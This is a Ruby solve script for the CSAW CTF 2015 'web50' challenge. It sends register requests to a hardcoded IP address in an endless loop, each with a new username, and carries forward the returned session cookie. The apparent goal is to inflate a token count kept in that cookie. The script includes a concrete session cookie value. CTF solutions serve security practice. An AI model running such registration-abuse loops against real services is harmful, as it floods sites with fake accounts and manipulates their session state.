csawctf2015 web50

web50_solve.rb

require 'net/http'
require 'uri'

http   = Net::HTTP.new('54.209.88.227', 80)
# oppai2-1000
cookie = "session=eyJpZCI6OTQ4MTIsInRva2VucyI6MzE1Nn0.COCK7w.njxoA3POhr3wd4hIpYWpclygzUs; HttpOnly; Path=/"
# cleared: eyJpZCI6OTQ4MTIsInRva2VucyI6MzE1Nn0.COCLJw.s4HgvN6NHWsW1S6ORGnr9G5JGA8
suffix = 1

loop do
  user = "oppai2-#{suffix}"
  res = http.post(
    '/register',
    "user=#{user}&pass=oppai&login=register",
    { 'Cookie' => cookie }
  )
  cookie = res.get_fields('set-cookie')[0]
  p user
  p cookie
  p res.inspect
  suffix = suffix.succ
end